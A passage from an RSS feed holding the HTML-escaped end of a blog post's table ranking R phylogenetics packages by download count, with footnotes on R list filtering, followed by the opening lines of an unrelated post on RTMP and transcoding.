      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=MiSPU"&gt;MiSPU&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;2039&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;174&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=dcGOR"&gt;dcGOR&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;2031&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;175&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=lefse"&gt;lefse&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;2020&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;176&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=SeqFeatR"&gt;SeqFeatR&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;2006&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;177&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=HAP.ROR"&gt;HAP.ROR&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;1970&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;178&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=symmoments"&gt;symmoments&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;1932&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;179&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=genBaRcode"&gt;genBaRcode&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;1923&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;180&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=PhylogeneticEM"&gt;PhylogeneticEM&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;1912&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;181&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=windex"&gt;windex&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;1900&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;182&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=phylocurve"&gt;phylocurve&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;1875&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;183&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=MonoPhy"&gt;MonoPhy&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;1865&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;184&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=TreeSimGM"&gt;TreeSimGM&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;1844&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;185&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=spider"&gt;spider&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;1840&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;186&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=Rsampletrees"&gt;Rsampletrees&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;1837&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;187&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=Rphylopars"&gt;Rphylopars&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;1830&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;188&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=graphscan"&gt;graphscan&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;1829&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;189&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=recluster"&gt;recluster&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;1811&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;190&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=paco"&gt;paco&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;1804&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;191&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=phylosim"&gt;phylosim&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;1768&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;192&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=ecolottery"&gt;ecolottery&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;1723&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;193&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=outbreaker2"&gt;outbreaker2&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;1708&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;194&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=STEPCAM"&gt;STEPCAM&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;1697&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;195&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=primerTree"&gt;primerTree&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;1691&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;196&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=PhySortR"&gt;PhySortR&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;1675&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;197&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=gquad"&gt;gquad&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;1673&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;198&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=gromovlab"&gt;gromovlab&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;1669&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;199&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=indelmiss"&gt;indelmiss&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;1666&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;200&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=phybreak"&gt;phybreak&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;1662&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;201&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=msap"&gt;msap&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;1659&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;202&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=rase"&gt;rase&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;1629&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;203&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=rdiversity"&gt;rdiversity&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;1629&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;204&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=perspectev"&gt;perspectev&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;1617&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;205&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=ML.MSBD"&gt;ML.MSBD&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;1614&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;206&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=sidier"&gt;sidier&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;1611&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;207&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=pcrcoal"&gt;pcrcoal&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;1588&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;208&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=StructFDR"&gt;StructFDR&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;1586&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;209&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=idar"&gt;idar&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;1579&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;210&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=PIGShift"&gt;PIGShift&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;1534&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;211&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=jrich"&gt;jrich&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;1511&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;212&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=TotalCopheneticIndex"&gt;TotalCopheneticIndex&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;1509&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;213&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=subniche"&gt;subniche&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;1508&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;214&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=Plasmidprofiler"&gt;Plasmidprofiler&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;1495&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;215&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=TKF"&gt;TKF&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;1487&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;216&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=rwty"&gt;rwty&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;1485&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;217&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=TreeSearch"&gt;TreeSearch&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;1474&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;218&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=PhyInformR"&gt;PhyInformR&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;1402&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;219&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=skeleSim"&gt;skeleSim&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;1400&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;220&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=insect"&gt;insect&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;1383&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;221&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=treeDA"&gt;treeDA&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;1344&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;222&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=multilaterals"&gt;multilaterals&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;1337&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;223&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=CollessLike"&gt;CollessLike&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;1304&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;224&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=vhica"&gt;vhica&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;1299&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;225&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=motmot.2.0"&gt;motmot.2.0&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;1115&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;226&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=treedater"&gt;treedater&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;926&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;227&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=ratematrix"&gt;ratematrix&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;813&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;228&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=PVR"&gt;PVR&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;772&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;229&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=P2C2M"&gt;P2C2M&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;749&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;230&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=metaboGSE"&gt;metaboGSE&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;747&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;231&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=RRphylo"&gt;RRphylo&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;692&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;232&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=ggrasp"&gt;ggrasp&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;677&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;233&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=CommT"&gt;CommT&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;634&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;234&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=FossilSim"&gt;FossilSim&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;529&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;235&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=POUMM"&gt;POUMM&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;513&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;236&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=rhierbaps"&gt;rhierbaps&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;391&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;237&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=RPS"&gt;RPS&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;390&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;238&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=balance"&gt;balance&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;0&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;239&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=hillR"&gt;hillR&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;0&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;240&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=kmeRs"&gt;kmeRs&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;0&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;241&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=phylocomr"&gt;phylocomr&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;0&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;242&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=rr2"&gt;rr2&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;0&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;243&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=slouch"&gt;slouch&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;0&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;section class="footnotes"&gt;
  &lt;ol&gt;
    &lt;li id="fn1"&gt;
      &lt;p&gt;Note that we can’t use the typical filtering mechanism using the single square bracket &lt;code&gt;[&lt;/code&gt; because of the way lists work. In particular, there’s no good destructuring syntax for lists-of-lists as there are for simple vectors. See &lt;code&gt;?Extract&lt;/code&gt; for more details. &lt;a class="footnote-backref" href="#fnref1"&gt;↩&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id="fn2"&gt;
      &lt;p&gt;The builtin package &lt;code&gt;tools&lt;/code&gt; also has it, but it only returns packages that you have currently installed. &lt;a class="footnote-backref" href="#fnref2"&gt;↩&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
  &lt;/ol&gt;
&lt;/section&gt;</description><author>Jonathan Chang</author><pubDate>Tue, 20 Nov 2018 01:49:00 GMT</pubDate><guid isPermaLink="true">https://jonathanchang.org/blog/what-r-package-for-phylogenetics-is-the-most-popular/</guid></item><item><title>RTMP &amp;amp; Transcoding</title><link>https://yasha.solutions/rtmp-transcoding/</link><description>Some research I have made recently while working on a broadcasting module of an app.
Just saving here some of the best link I have found – as backup and maybe of interest for some people.
